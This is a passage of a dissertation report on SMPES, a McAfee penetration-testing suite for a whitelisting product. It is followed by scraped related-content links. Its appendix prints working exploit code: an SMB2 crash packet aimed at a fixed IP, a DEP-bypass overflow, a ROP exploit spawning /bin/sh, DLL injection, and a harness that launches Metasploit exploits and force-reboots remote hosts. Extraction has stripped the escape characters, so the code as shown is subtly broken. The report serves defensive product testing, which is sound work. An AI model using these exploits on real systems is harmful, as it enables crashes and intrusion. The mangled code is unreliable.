This machine is hosted with SMPES framework and requires following setups for execution.
(a) Windows only machine
(b) Turn off security mechanisms as mentioned for target machines
(c) Install Metasploit framework 4.x (bundled with python & ruby interpreters)
(d) Install Perl
(e) Copy SMPES framework on host machine
(f) Host machine must be live on network and should be able to access target machines remotely.
22
5.2 EXECUTION
After the framework test bed setup is complete, SMPES execution is triggered which will run all tests
against the target machines.
1. Configuration
The parameters that SMPES asks for gives the user flexibility to execute attacks for specific or
multiple machines with specific architecture or attack type.
(CLI of SMPES)
2. Building Exploit List
SMPES framework will build list of exploits and then run them against target machines.
Following snapshot shows the report where list of exploits were executed and results are
populated in the sheet.
(List of exploits)
23
3. Basic Security Effectiveness testing
This test will verify the protection level of conventional desktop protection applications. The
majority of the test suite depends on executable files to initiate further actions on the endpoint.
as the machine was solidified we did expect all of the tests to pass.
4. Debug Logs
The following figure will display the debug logging while execution of SMPES framework.
24
25
6 CONCLUSION
This dissertation work focuses on creation of a penetration testing suite that is used for targeted
security testing. It was primarily aimed for security testing cycle on product Solidifier but because
of exploit coverage and remarkable features it is also being adopted by other product teams in
McAfee.
There has been a continuous increase in number of attacks which are becoming sophisticated day
by day, due to which penetration testing toolkits are being used to discover security related issues
in products before they reach market.
Before developing a security test suite, it was ensured that it extends the capability and removes
limitation of existing pen test frameworks. The research work was done at McAfee India Gurgaon
campus by understanding various security concepts like buffer overflows, DEP, SHE, SEHOP,
Return oriented programming, ASLR etc.
Findings
Inputs from various teams made this suite feature rich and this dissertation investigated the
security effectiveness of products. After running this suite the security testing of product was
automated completely and a large number of bugs were also reported in current release.
The open issues were then fixed and again fix was verified by executing the suite. The accuracy of
suite was also found to be very good. There was not a single instance when major issues were
encountered with suite execution after following steps mentioned in test bed setups.
These findings suggest that this suite not only provides pen tester flexibility to run security
verification using available exploits (open source pen test frameworks) but also by incorporating
custom exploit samples created in-house.
Limitations
The limitations of this dissertation project work were that research amount takes a
considerable amount of time. Exploits could only be created by understanding
security concepts and writing shell codes.
Another implication is that since white listing bypasses most of the unauthorized
binaries, therefore project was limited to exisiting vulnerabilities instead of finding a
new zero day vulnerability.
Some of the kernel level exploits were not included because Solidifier product
doesn’t prevent kernel level attacks.
Recommendations
This suite was used across different teams in the company and then it was
recommended by engineering heads as regular in house security testing toolkit.
This dissertation work not only improved understanding of security concepts but also
created a toolkit which was beneficial for both Dev and QA teams within the
company.
26
APPENDIX
This section contains the code snippets for some exploit codes and SMPES framework
modules.
(Exploit code for SMB2 vulnerability)
#!/usr/bin/python
#When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = "172.25.197.157", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
(Exploit code to bypass DEP by SetProcessDEPPolicy())
#include <windows.h>
#include <stdlib.h>
void useSetProcessDEPPolicy()
{
char buf[4];
/* Overflow the string buffer and EBP register. */
strcpy(buf, "AAAABBBB");
/* SetProcessDEPPolicy() API has been added to Windows Vista SP1,
Windows XP SP3 and Windows Server 2008 and can be abused by an
attacker while exploiting a buffer overflow vulnerability to disable
hardware-enforced DEP (NX/XD bit) for the running process.
27
Overwrite EIP with the address of SetProcessDepPolicy() API, which
is 0x7c8622a4 on a Windows XP SP3 English 32bit system updated on
December 9, 2009.
NOTE: You might need to adapt it depending on your system patch
level. */
memcpy(buf+8, "xa4x22x86x7c", 4);
/* Return address of SetProcessDepPolicy().
Use an address of a JMP ESP instruction in kernel32.dll to jump to our
shellcode on the top of the stack.
NOTE: You might need to adapt it depending on your system patch
level. */
memcpy(buf+12, "x13x44x87x7c", 4);
/* Argument for SetProcessDepPolicy().
0x00000000 turn off DEP for this process. */
memcpy(buf+16, "x00x00x00x00", 4);
/* The shellcode to be executed after DEP has been disabled.
For instance, a breakpoint (INT 3 instruction) to call the
debug exception handler which will pause the process. */
memcpy(buf+20, "xcc", 1);
}
int main()
{
useSetProcessDEPPolicy();
return 0;
}
(Return oriented Exploitation)
Vulnerable program code:
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
int func(char *msg) {
char buf[80];
strcpy(buf,msg);
buf[0] = toupper(buf[0]);
strcpy(msg,buf);
printf(“Caps: %sn“,msg);
exit(1);
}
int main(int argv, char** argc) {
func(argc[1]);
}
Exploit code in perl:
28
print “xa2x85x04x08″ . # First Gadget
“AAAAAAAA” . # dummy
“xe8xa2x04x08″ . # set ebp, poing to line 9 of this exploit string
“x8cx83x04x08″ . # Second gadget
“xc0x52xfcxff” .“x14xa0x8ex13AAAA” . “/bin/sh;” . “A”x48 .
“x10xa0x04x08″ . # GOT entry address of printf
“x30xa0x04x08″x0xa0 . # dummy
“xcex85x04x08″ .
“x30xa0x04x08″x0x2 . # dummy
“x30xa0x04x08″ . # dummy ebp
“xafx84x04x08″ . # call *%eax
“x30xa0x04x08″;
(DLL Injection code)
#include <windows.h>
#include <tlhelp32.h>
#include <shlwapi.h>
#include <conio.h>
#include <stdio.h>
//Lets Just Define Some Variables
#define WIN32_LEAN_AND_MEAN
#define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE |
PROCESS_VM_READ
//Lets declare our function
BOOL CreateRemoteThreadInject(DWORD ID, const char * dll);
//Let declare GetProcessId
DWORD GetProcessId(IN PCHAR szExeName);
//Our Application Starts Here.
int main()
{
//Declare our dll variable
char dll[MAX_PATH];
//Get the full path of our .dll
GetFullPathName("Tutorial.dll",MAX_PATH,dll,NULL);
//We will be using this neat little function written by batfitch - GetProcessId.
DWORD ID = GetProcessId("notepad.exe");
if (!CreateRemoteThreadInject(ID,dll))
{
//If CreateRemoteThreadInject Returned true
printf("Injection failed!");
Sleep(3000);
exit(1);
29
}
else
{
//If CreateRemoteThreadInject Returned true
printf("Injection Successful!");
Sleep(3000);
exit(1);
}
}
//Function written by batfitch
DWORD GetProcessId(IN PCHAR szExeName)
{
DWORD dwRet = 0;
DWORD dwCount = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE)
{
PROCESSENTRY32 pe = {0};
pe.dwSize = sizeof(PROCESSENTRY32);
BOOL bRet = Process32First(hSnapshot, &pe);
while (bRet)
{
if (!_stricmp(pe.szExeFile, szExeName))
{
dwCount++;
dwRet = pe.th32ProcessID;
}
bRet = Process32Next(hSnapshot, &pe);
}
if (dwCount > 1)
dwRet = 0xFFFFFFFF;
CloseHandle(hSnapshot);
}
return dwRet;
}
//We will be writing our own little function called CreateRemoteThreadInject
BOOL CreateRemoteThreadInject(DWORD ID, const char * dll)
{
//Declare the handle of the process.
HANDLE Process;
30
//Declare the memory we will be allocating
LPVOID Memory;
//Declare LoadLibrary
LPVOID LoadLibrary;
LPDWORD thread;
//If there's no process ID we return false.
if(!ID)
{
return false;
}
//Open the process with read , write and execute priviledges
Process =
OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM
_READ|PROCESS_VM_WRITE|PROCESS_VM_OPERATION, FALSE, ID);
//Get the address of LoadLibraryA
LoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
// Allocate space in the process for our DLL
Memory = (LPVOID)VirtualAllocEx(Process, NULL, strlen(dll)+1, MEM_RESERVE |
MEM_COMMIT, PAGE_READWRITE);
// Write the string name of our DLL in the memory allocated
WriteProcessMemory(Process, (LPVOID)Memory, dll, strlen(dll)+1, NULL);
// Load our DLL
CreateRemoteThread(Process, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibrary,
(LPVOID)Memory, NULL, thread);
Sleep(2000);
//Let the program regain control of itself
CloseHandle(Process);
//Terminate The Thread
TerminateThread(thread , NULL);
//Free the allocated memory
VirtualFreeEx(Process , (LPVOID)Memory , 0, MEM_RELEASE);
return true;
}
(SMPES code snippets
######################################################
# This will read the System logs from EventViewer of
# Remote Machine
######################################################
sub getSystemEventLogs(){
my ($machineName,$fileName) = @_;
31
&addInLog("In getSystemEventLogs : machine name ---> $machineNamen");
my $handle=Win32::EventLog->new("Application",$machineName)
or die &addInLog("In getSystemEventLogs: Can't open Application
EventLogn");
&addInLog("In getSystemEventLogs: Handle --> $handlen");
$handle->GetNumber($recs)
or die &addInLog("In getSystemEventLogs: Can't get number of EventLog
recordsn");
&addInLog("In getSystemEventLogs: Number of logs --> $recsn");
$handle->GetOldest($base)
or die &addInLog("In getSystemEventLogs: Can't get number of oldest EventLog
recordn");
&addInLog("In getSystemEventLogs: base ---> $basen");
if (open(FP,">$fileName")){
#Do nothing
}else{
&addInLog("In getSystemEventLogs: Failed to open $fileName n");
return;
}
my $x = $EVT_OFFSET;
&addInLog("In getSystemEventLogs: OFFSET ---> $xn");
while ($x < $recs) {
# print "x--> $xn";
my $seed = $base + $x - 1;
&addInLog("In getSystemEventLogs: seed ---> $seedn");
$handle->Read(EVENTLOG_FORWARDS_READ|EVENTLOG_SEEK_READ,
$base + $x - 1,$hashRef)
or die "Can't read EventLog entry #$xn";
if ((trim($hashRef->{Source}) =~ /System Solidifier/) ||
(trim($hashRef->{EventType}) eq 1)){
print FP "<START>";
my $comp_name = trim($hashRef->{Computer});
print FP $comp_name;
print FP " @@@ ";
my $comp_src = trim($hashRef->{Source});
print FP $comp_src;
print FP " @@@ ";
my $msg = trim($hashRef->{Message});
print FP $msg;
print FP " @@@ ";
my $str = trim($hashRef->{Strings});
print FP $str;
print FP " @@@ ";
my $data = trim($hashRef->{Data});
print FP $data;
print FP " @@@ ";
my $evt_type = trim($hashRef->{EventType});
switch($evt_type){
case 1{
$evt_type = "ERROR";
}
case 2{
$evt_type = "WARNING";
}
case 3{
$evt_type = "INFORMATION";
}
case 4{
32
$evt_type = "AUDIT_SUCCESS";
}
case 5{
$evt_type = "AUDIT_FAILURE";
}
}
print FP $evt_type;
print FP " @@@ ";
my $catagory = trim($hashRef->{Catagory});
print FP $catagory;
print FP " @@@ ";
my $RecordNumber = trim($hashRef->{RecordNumber});
print FP $RecordNumber;
print FP " @@@ ";
my $TimeGenerated = trim($hashRef->{TimeGenerated});
print FP scalar(gmtime($TimeGenerated));
print FP " @@@ ";
print FP trim($hashRef->{EventID});
print FP "<END>n";
#sleep(1);
}
$x++;
}
$EVT_OFFSET = $x;
close FP;
if (open (FP,$fileName)){
my @list = <FP>;
close FP;
if ($EVT_FILE_LOG_STAT eq 0){
if (open (FP,">EVENT_RESULT")){
print FP "### $TEST_SNOn";
foreach(@list){
print FP "$_n";
}
print FP "n";
close FP;
$EVT_FILE_LOG_STAT = 1;
}
}
else {
if (open (FP,">>EVENT_RESULT")){
print FP "### $TEST_SNOn";
foreach(@list){
print FP "$_n";
}
print FP "n";
close FP;
}
}
}
}
######################################################
# Main handler function for Exploit
######################################################
sub expHandler(){
33
my ($cmd_detail,$evt_str,$output_str,$evt_match_stat,$out_match_stat) = @_;
$TEST_SNO++;
&addInLog("n##########################Test ID : $TEST_SNOn");
&addInLog("In expHandler :
($cmd_detail,$evt_str,$output_str,$evt_match_stat,$out_match_stat)n");
my $cmd_str = trim($CONFIG{"EXPLOIT_EXE"});
$cmd_str .= " ";
$cmd_str .= trim($CONFIG{"METAEXP_PATH"});
$cmd_str .= "msfcli";
$cmd_str .= " $cmd_detail";
&addInLog("In expHandler : cmd ---> $cmd_strn");
$retcode = &execExploit(trim($cmd_str));
my $rhost=trim($CONFIG{"RHOST"});
&verifyResult($rhost,$evt_str,$output_str,$evt_match_stat,$out_match_stat);
&addInLog("------------------------------------------------n");
}
######################################################
# Executes the exploit an redirects output to a file
######################################################
sub execExploit(){
my ($cmd) = @_;
&addInLog("In execExploit : about to execute $cmdn");
#my $ret = &systemAssertExitCode("$cmd");
open STDOUT, '>', $OUTPUTFILE or die "Can't redirect STDOUT: $!";
#open STDERR, '>', "error" or die "Can't dup STDERR: $!";
my $exe_path = trim($CONFIG{"EXE_PATH"});
my $exe_time = trim($CONFIG{"EXEC_TIME"});
&addInLog("In execExploit : (exe_path,exe_time)->($exe_path,$exe_time) n");
Win32::Process::Create($ProcessObj,"C:Program
FilesMetasploitFramework3binruby.exe",
"$cmd",0,NORMAL_PRIORITY_CLASS,".")|| die addInLog(ErrorReport());
$ProcessObj->Wait($exe_time);
$ProcessObj->Kill(0);
close STDOUT;
}
######################################################
# Verify the output of the exploit
######################################################
sub verifyResult(){
my ($rhost,$evt_str,$output_str,$evt_match_stat,$out_match_stat) = @_;
&addInLog("In verifyResult :
($rhost,$evt_str,$output_str,$evt_match_stat,$out_match_stat)n");
my $stage = 0;
my $evt_match_rc = 0;
if (open (FP,$OUTPUTFILE)){
my @lines = <FP>;
close FP;
if ($OUTPUT_STAT eq 0){
if (open (FP,">OUTPUT_RESULT")){
print FP "#### $TEST_SNOn";
foreach(@lines){
print FP "$_n";
}
print FP "n";
34
close FP;
$OUTPUT_STAT = 1;
}
}
else{
if (open (FP,">>OUTPUT_RESULT")){
print FP "#### $TEST_SNOn";
foreach(@lines){
print FP "$_n";
}
print FP "n";
close FP;
}
}
$retcode = &verify($OUTPUTFILE,$output_str);
$$out_match_stat = $retcode;
my $stat_evt = 1;
if (($retcode eq 0) || $stat_evt eq 1){
&addInLog("In verifyResult : Going to shutdown $rhostn");
my $rc = &systemAssertExitCode("shutdown -r -f -t 0 -m $rhost");
if ($rc eq 0){
&addInLog("In verifyResult : Shutdown success Sleeping for :
[200 sec]n");
print ("shutting down system");
sleep(200);
}
else{
&addInLog("In verifyResult : Shutdown failed : [$rc]n");
}
}
else{
&addInLog("In verifyResult : Exploit didn't execute properlyn");
}
&getSystemEventLogs($rhost,"temp");
$evt_match_rc = &verify("temp",$evt_str);
$$evt_match_stat = $evt_match_rc;
&addInLog("In verifyResult : Match Status = $evt_match_rcn");
}
else{
&addInLog("In verifyResult : Failed to open $OUTPUTFILEn");
}
}
35
7. REFERENCES
1. Exploitation-itsec-catalog- References to vulnerability exploitation stuff
http://code.google.com/p/it-sec-catalog/wiki/Exploitation
2. Jim Beechey, “Application White listing: Panacea or Propaganda”- December 2010,
SANS Reading Room
3. Exploit writing articles: Corelan Team: https://www.corelan.be/index.php/articles/
4. Shon Harris, “Windows Exploits, Grey Hat Hacking- An ethical hackers’ handbook”, 3rd
edition

More Related Content

What's hot

Software testing tutorial
Software testing tutorialSoftware testing tutorial
Software testing tutorial
HarikaReddy115
 
Online examination system
Online examination system Online examination system
Online examination system
IRJET Journal
 
ISTQB Test Automation Engineer Answers to Sample Question Paper
ISTQB Test Automation Engineer Answers to Sample Question PaperISTQB Test Automation Engineer Answers to Sample Question Paper
ISTQB Test Automation Engineer Answers to Sample Question Paper
Neeraj Kumar Singh
 
Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)Priyanka Kapoor
 
IRJET- Placement Management and Prediction System using Data Mining and Cloud...
IRJET- Placement Management and Prediction System using Data Mining and Cloud...IRJET- Placement Management and Prediction System using Data Mining and Cloud...
IRJET- Placement Management and Prediction System using Data Mining and Cloud...
IRJET Journal
 
Internship report about Research and deployment ISA Server 2006
Internship report about Research and deployment ISA Server 2006Internship report about Research and deployment ISA Server 2006
Internship report about Research and deployment ISA Server 2006
Vũ Vương
 
Ignou MCA 6th Semester Synopsis
Ignou MCA 6th Semester SynopsisIgnou MCA 6th Semester Synopsis
Ignou MCA 6th Semester Synopsis
Hitesh Jangid
 
Experiences in shift left test approach
Experiences in shift left test approachExperiences in shift left test approach
Experiences in shift left test approach
Journal Papers
 
A.R.C. Usability Evaluation
A.R.C. Usability EvaluationA.R.C. Usability Evaluation
A.R.C. Usability Evaluation
JPC Hanson
 
Software testing tutorial
Software testing tutorialSoftware testing tutorial
Software testing tutorial
usman2232
 
Sample report
Sample reportSample report
Sample report
Niro Thakur
 
White-box Testing: When Quality Really Matters
White-box Testing: When Quality Really MattersWhite-box Testing: When Quality Really Matters
White-box Testing: When Quality Really Matters
TechWell
 
Reliability study and analysis on open source enterprise resource planning so...
Reliability study and analysis on open source enterprise resource planning so...Reliability study and analysis on open source enterprise resource planning so...
Reliability study and analysis on open source enterprise resource planning so...Mayank Baheti
 
Accenture Case Study Solution by Amit Bhardwaj
Accenture Case Study Solution by Amit BhardwajAccenture Case Study Solution by Amit Bhardwaj
Accenture Case Study Solution by Amit Bhardwaj
Amit Bhardwaj
 
Modern Elicitation Process
Modern Elicitation ProcessModern Elicitation Process
Modern Elicitation Process
Rajon
 
Parking allocation system
Parking allocation systemParking allocation system
Parking allocation system
United International University
 
Exploring the Efficiency of the Program using OOAD Metrics
Exploring the Efficiency of the Program using OOAD MetricsExploring the Efficiency of the Program using OOAD Metrics
Exploring the Efficiency of the Program using OOAD Metrics
IRJET Journal
 

What's hot (20)

Quiz
QuizQuiz
Quiz
 
Software testing tutorial
Software testing tutorialSoftware testing tutorial
Software testing tutorial
 
Online examination system
Online examination system Online examination system
Online examination system
 
ISTQB Test Automation Engineer Answers to Sample Question Paper
ISTQB Test Automation Engineer Answers to Sample Question PaperISTQB Test Automation Engineer Answers to Sample Question Paper
ISTQB Test Automation Engineer Answers to Sample Question Paper
 
Complete-Mini-Project-Report
Complete-Mini-Project-ReportComplete-Mini-Project-Report
Complete-Mini-Project-Report
 
Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)Report on e-Notice App (An Android Application)
Report on e-Notice App (An Android Application)
 
FYP 2 REPORT AMIRUL ARIFF
FYP 2 REPORT AMIRUL ARIFFFYP 2 REPORT AMIRUL ARIFF
FYP 2 REPORT AMIRUL ARIFF
 
IRJET- Placement Management and Prediction System using Data Mining and Cloud...
IRJET- Placement Management and Prediction System using Data Mining and Cloud...IRJET- Placement Management and Prediction System using Data Mining and Cloud...
IRJET- Placement Management and Prediction System using Data Mining and Cloud...
 
Internship report about Research and deployment ISA Server 2006
Internship report about Research and deployment ISA Server 2006Internship report about Research and deployment ISA Server 2006
Internship report about Research and deployment ISA Server 2006
 
Ignou MCA 6th Semester Synopsis
Ignou MCA 6th Semester SynopsisIgnou MCA 6th Semester Synopsis
Ignou MCA 6th Semester Synopsis
 
Experiences in shift left test approach
Experiences in shift left test approachExperiences in shift left test approach
Experiences in shift left test approach
 
A.R.C. Usability Evaluation
A.R.C. Usability EvaluationA.R.C. Usability Evaluation
A.R.C. Usability Evaluation
 
Software testing tutorial
Software testing tutorialSoftware testing tutorial
Software testing tutorial
 
Sample report
Sample reportSample report
Sample report
 
White-box Testing: When Quality Really Matters
White-box Testing: When Quality Really MattersWhite-box Testing: When Quality Really Matters
White-box Testing: When Quality Really Matters
 
Reliability study and analysis on open source enterprise resource planning so...
Reliability study and analysis on open source enterprise resource planning so...Reliability study and analysis on open source enterprise resource planning so...
Reliability study and analysis on open source enterprise resource planning so...
 
Accenture Case Study Solution by Amit Bhardwaj
Accenture Case Study Solution by Amit BhardwajAccenture Case Study Solution by Amit Bhardwaj
Accenture Case Study Solution by Amit Bhardwaj
 
Modern Elicitation Process
Modern Elicitation ProcessModern Elicitation Process
Modern Elicitation Process
 
Parking allocation system
Parking allocation systemParking allocation system
Parking allocation system
 
Exploring the Efficiency of the Program using OOAD Metrics
Exploring the Efficiency of the Program using OOAD MetricsExploring the Efficiency of the Program using OOAD Metrics
Exploring the Efficiency of the Program using OOAD Metrics
 

Similar to smpef

Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare ☁
 
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare ☁
 
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare ☁
 
Best Practices, Types, and Tools for Security Testing in 2023.docx
Best Practices, Types, and Tools for Security Testing in 2023.docxBest Practices, Types, and Tools for Security Testing in 2023.docx
Best Practices, Types, and Tools for Security Testing in 2023.docx
Afour tech
 
Backtrack manual Part1
Backtrack manual Part1Backtrack manual Part1
Backtrack manual Part1
Nutan Kumar Panda
 
Penetration testing dont just leave it to chance
Penetration testing dont just leave it to chancePenetration testing dont just leave it to chance
Penetration testing dont just leave it to chance
Dr. Anish Cheriyan (PhD)
 
From Code to Customer: How to Make Software Products Secure
From Code to Customer: How to Make Software Products SecureFrom Code to Customer: How to Make Software Products Secure
From Code to Customer: How to Make Software Products Secure
Kaspersky
 
Arved sandstrom - the rotwithin - atlseccon2011
Arved sandstrom - the rotwithin - atlseccon2011Arved sandstrom - the rotwithin - atlseccon2011
Arved sandstrom - the rotwithin - atlseccon2011
Atlantic Security Conference
 
FALCON.pptx
FALCON.pptxFALCON.pptx
FALCON.pptx
AvinashRanjan80
 
WHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN IT
WHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN ITWHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN IT
WHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN IT
TekRevol LLC
 
IRJET- Penetration Testing using Metasploit Framework: An Ethical Approach
IRJET- Penetration Testing using Metasploit Framework: An Ethical ApproachIRJET- Penetration Testing using Metasploit Framework: An Ethical Approach
IRJET- Penetration Testing using Metasploit Framework: An Ethical Approach
IRJET Journal
 
Exploring the Key Types of Cybersecurity Testing
Exploring the Key Types of Cybersecurity TestingExploring the Key Types of Cybersecurity Testing
Exploring the Key Types of Cybersecurity Testing
jatniwalafizza786
 
Web application security measures
Web application security measuresWeb application security measures
Web application security measures
ICT Frame Magazine Pvt. Ltd.
 
Application Security Testing
Application Security TestingApplication Security Testing
Application Security Testing
Anju21552
 
Testing software security
Testing software securityTesting software security
Testing software security
Abdul Basit
 
10 Best DevSecOps Tools for 2023
10 Best DevSecOps Tools for 202310 Best DevSecOps Tools for 2023
10 Best DevSecOps Tools for 2023
SofiaCarter4
 
Web app penetration testing best methods tools used
Web app penetration testing best methods tools usedWeb app penetration testing best methods tools used
Web app penetration testing best methods tools used
Zoe Gilbert
 
How automation can help boost security
How automation can help boost securityHow automation can help boost security
How automation can help boost security
TestingXperts
 
Project Quality-SIPOCSelect a process of your choice and creat.docx
Project Quality-SIPOCSelect a process of your choice and creat.docxProject Quality-SIPOCSelect a process of your choice and creat.docx
Project Quality-SIPOCSelect a process of your choice and creat.docx
wkyra78
 
Taiwan_2wehuikl;lkjjk;ivfazzfffggggh.ppt
Taiwan_2wehuikl;lkjjk;ivfazzfffggggh.pptTaiwan_2wehuikl;lkjjk;ivfazzfffggggh.ppt
Taiwan_2wehuikl;lkjjk;ivfazzfffggggh.ppt
gealehegn
 

Similar to smpef (20)

Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
 
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
 
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
Manoj Purandare - Application Security - Secure Code Assessment Program - Pre...
 
Best Practices, Types, and Tools for Security Testing in 2023.docx
Best Practices, Types, and Tools for Security Testing in 2023.docxBest Practices, Types, and Tools for Security Testing in 2023.docx
Best Practices, Types, and Tools for Security Testing in 2023.docx
 
Backtrack manual Part1
Backtrack manual Part1Backtrack manual Part1
Backtrack manual Part1
 
Penetration testing dont just leave it to chance
Penetration testing dont just leave it to chancePenetration testing dont just leave it to chance
Penetration testing dont just leave it to chance
 
From Code to Customer: How to Make Software Products Secure
From Code to Customer: How to Make Software Products SecureFrom Code to Customer: How to Make Software Products Secure
From Code to Customer: How to Make Software Products Secure
 
Arved sandstrom - the rotwithin - atlseccon2011
Arved sandstrom - the rotwithin - atlseccon2011Arved sandstrom - the rotwithin - atlseccon2011
Arved sandstrom - the rotwithin - atlseccon2011
 
FALCON.pptx
FALCON.pptxFALCON.pptx
FALCON.pptx
 
WHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN IT
WHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN ITWHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN IT
WHAT IS APP SECURITY – THE COMPLETE PROCESS AND THE TOOLS & TESTS TO RUN IT
 
IRJET- Penetration Testing using Metasploit Framework: An Ethical Approach
IRJET- Penetration Testing using Metasploit Framework: An Ethical ApproachIRJET- Penetration Testing using Metasploit Framework: An Ethical Approach
IRJET- Penetration Testing using Metasploit Framework: An Ethical Approach
 
Exploring the Key Types of Cybersecurity Testing
Exploring the Key Types of Cybersecurity TestingExploring the Key Types of Cybersecurity Testing
Exploring the Key Types of Cybersecurity Testing
 
Web application security measures
Web application security measuresWeb application security measures
Web application security measures
 
Application Security Testing
Application Security TestingApplication Security Testing
Application Security Testing
 
Testing software security
Testing software securityTesting software security
Testing software security
 
10 Best DevSecOps Tools for 2023
10 Best DevSecOps Tools for 202310 Best DevSecOps Tools for 2023
10 Best DevSecOps Tools for 2023
 
Web app penetration testing best methods tools used
Web app penetration testing best methods tools usedWeb app penetration testing best methods tools used
Web app penetration testing best methods tools used
 
How automation can help boost security
How automation can help boost securityHow automation can help boost security
How automation can help boost security
 
Project Quality-SIPOCSelect a process of your choice and creat.docx
Project Quality-SIPOCSelect a process of your choice and creat.docxProject Quality-SIPOCSelect a process of your choice and creat.docx
Project Quality-SIPOCSelect a process of your choice and creat.docx
 
Taiwan_2wehuikl;lkjjk;ivfazzfffggggh.ppt
Taiwan_2wehuikl;lkjjk;ivfazzfffggggh.pptTaiwan_2wehuikl;lkjjk;ivfazzfffggggh.ppt
Taiwan_2wehuikl;lkjjk;ivfazzfffggggh.ppt
 

Recently uploaded

Quarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden ExtensionsQuarkus Hidden and Forbidden Extensions
Quarkus Hidden and Forbidden Extensions
Max Andersen
 
Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024Cracking the code review at SpringIO 2024
Cracking the code review at SpringIO 2024
Paco van Beckhoven
 
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Paketo Buildpacks : la meilleure façon de construire des images OCI? DevopsDa...
Anthony Dahanne
 
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptxTop Features to Include in Your Winzo Clone App for Business Growth (4).pptx
Top Features to Include in Your Winzo Clone App for Business Growth (4).pptx
rickgrimesss22
 
First Steps with Globus Compute Multi-User Endpoints
First Steps with Globus Compute Multi-User EndpointsFirst Steps with Globus Compute Multi-User Endpoints
First Steps with Globus Compute Multi-User Endpoints
Globus
 
Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604Orion Context Broker introduction 20240604
Orion Context Broker introduction 20240604
Fermin Galan
 
RISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent EnterpriseRISE with SAP and Journey to the Intelligent Enterprise
RISE with SAP and Journey to the Intelligent Enterprise
Srikant77
 
How Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptxHow Recreation Management Software Can Streamline Your Operations.pptx
How Recreation Management Software Can Streamline Your Operations.pptx
wottaspaceseo
 
Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"Navigating the Metaverse: A Journey into Virtual Evolution"
Navigating the Metaverse: A Journey into Virtual Evolution"
Donna Lenk
 
Understanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSageUnderstanding Globus Data Transfers with NetSage
Understanding Globus Data Transfers with NetSage
Globus
 
Field Employee Tracking System| MiTrack App| Best Employee Tracking Solution|...
